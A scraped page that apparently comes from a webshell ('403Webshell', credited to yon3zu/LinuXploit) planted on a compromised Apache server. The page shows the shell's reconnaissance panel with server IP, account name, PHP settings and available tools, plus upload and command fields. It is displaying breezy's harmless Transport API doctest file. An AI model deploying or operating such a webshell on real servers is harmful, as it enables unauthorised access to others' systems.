403Webshell
Server IP : 217.160.0.251  /  Your IP : 216.73.216.146
Web Server : Apache
System : Linux info 3.0 #1337 SMP Tue Jan 01 00:00:00 CEST 2000 all GNU/Linux
User : u94981163 ( 8991765)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /kunden/kunden/kunden/lib/python3/dist-packages/breezy/doc/api/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /kunden/kunden/kunden/lib/python3/dist-packages/breezy/doc/api/transport.txt
The Transport API in breezy provides URL based access to network resources.

   >>> import os
   >>> import sys
   >>> from breezy.osutils import getcwd, dirname
   >>> from breezy.urlutils import local_path_from_url
   >>> import breezy.transport as transport
   >>> if sys.platform == 'win32':
   ...     root = transport.get_transport_from_url('file:///C:/')
   ... else:
   ...     root = transport.get_transport_from_url('file:///')
   >>>

Each Transport instance represents a single logical directory.

   >>> dir = transport.get_transport_from_path(".")
   >>> local_path_from_url(dir.base) == getcwd() + '/'
   True

You can change directories via the clone method:

   >>> parent = dir.clone('..')
   >>> local_path_from_url(parent.base) == (dirname(getcwd()).rstrip('/') + '/')
   True

Youez - 2016 - github.com/yon3zu
LinuXploit